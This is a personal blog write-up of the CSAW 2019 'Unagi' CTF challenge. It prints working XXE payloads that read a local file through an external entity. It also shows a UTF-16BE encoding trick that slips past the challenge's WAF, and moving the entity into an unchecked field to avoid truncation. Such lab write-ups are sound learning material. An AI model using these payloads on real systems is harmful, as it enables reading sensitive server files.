Back in 2019 I really got into CTFs as a matter of honing my security skills. They were fun to do and enriched my knowledge of cybersecurity - so I got into it pretty quickly.

This was among the first of the challenges I did while under my team, Maple Bacon. At the time, I had plenty experience with SQL injections and XSS attacks, but not nearly enough experience with another common vulnerability: XXE attacks. CSAW 2019 sought to change that.

Let’s Begin!

Note: Unfortunately, I do not have screenshots as I partcipated in this CTF long before I realized I wanted to document my progress with them.

The challenge was called “Unagi”. Several options were shown: home, users, about and upload. about simply said flag is at /flag.txt, come get it

It was a website with users Alice and Bob displayed, with their emails, group, and intro. There was an upload endpoint that allowed you to upload XML documents to create a new user. And they also had a sample xml file, how nice!

name: Alice
email: alice@fakesite.com
group: CSAW2019
intro: Alice is cool

name: Bob
email: bob@fakesite.com
group: CSAW2019
intro: Bob is cool too
<?xml version='1.0'?>
<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>Alice</name>
        <email>alice@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
</users>

This challenge has taught me one thing: where there is XML, there is XXE injection. Researching for hours about XML vulnerabilities all point to XXE injections being the attack to do, so I crafted a pretty classic XXE payload and put it in my file:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file:////flag.txt" >
]>    

<users>
    <user>
        <username>Jam</username>
        <password>wordpass</password>
        <name>Jam</name>
        <email>jam@jelly.com</email>
        <group>&xxe;</group>
    </user>
</users>

But the WAF will reject the file. I sort of just… aimlessly searched the internet for a fix, dismayed to find a bunch of php workarounds, as this was during a time where I definitely wasn’t confident with my skills in php, and so I sort of stagnated at this point…

…Until I got curious about the encoding declaration. Standardly, encodings are UTF-8 around the board, but encoding UTF-16 exists - and what would happen if I changed the XML encoding from UTF-8 to UTF-16? This led me down to researching about using different encodings to bypass WAF filters:

An XML document can be encoded not only in UTF-8, but also in UTF-16 (two variants — BE and LE), in UTF-32 (four variants — BE, LE, 2143, 3412), and in EBCDIC…

…Exotic encodings may also be used to bypass diligent WAFs as they are not always able to process all the encodings listed above. For instance, the libxml2 parser only supports one type of UTF-32 — UTF-32BE, specifically without BOM.

For this issue in particular, UTF-8 and UTF-16 differ in their ways of encoding a sequence of chars. UTF-8’s character encodings are 1-4 bytes, while UTF-16’s are 2-4. What this challenge’s WAF does is look at the byte encoding of a character and match it with whatever blacklist it has. But naturally, UTF-8’s character encodings are going to be vastly different from UTF-16’s, since there is at least 1 byte of a difference. So when the WAF looks at UTF-16 encodings, it won’t be able to detect the malicious characters that is differently encoded in 2 bytes, and assumes the file is clean.

<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file:////flag.txt" >
]>    

<users>
    <user>
        <username>Jam</username>
        <password>wordpass</password>
        <name>Jam</name>
        <email>jam@jelly.com</email>
        <group>&xxe;</group>
    </user>
</users>

UTF-16 encoding does bypass the WAF but when the flag.txt file is loaded…

name: Jam
email: jam@jelly.com
group: AAAAAAAAAAAAAAAAAAAA

It’s cut off, probably cause the “group” field has a character limit. But interestingly enough, the xml sample file doesn’t specify a field we saw before - intro. Could we just put our xxe attack in there?

<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file:////flag.txt" >
]>    

<users>
    <user>
        <username>Jam</username>
        <password>wordpass</password>
        <name>Jam</name>
        <email>jam@jelly.com</email>
        <group>Fruit Preservatives</group>
        <intro>&xxe;</intro>
    </user>
</users>

It works!

name: Jam
email: jam@jelly.com
group: Fruit Preservatives
intro: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Looking back at CSAW 2019 now, it’s almost obvious that the attack vector here was an XXE. Of course, being young and somewhat new to the collective CTF scene I wouldn’t have figured this out from the get-go. It feels nice to know that I have grown and evolved as a CTF hacker, and I will continue to do so. While I got more serious early this year, each CTF I participate in teaches me something new, and I will continue to grow and evolve as I participate in more CTFs. Hopefully if anyone reads this and feels uncertain about how much they don’t know, spin it around and see it as an oppurtunity of how much you can learn :) Anyway, this was a quick writeup I did based on my year-old notes on this challenge, so I apologize for the lack of screenshots and otherwise simple presentation of it. This coming weekend, I will be participating in a few different CTFs, so expect more writeups to come soon!

Jam


References

Cover Image: Isabella Mendes on Pexels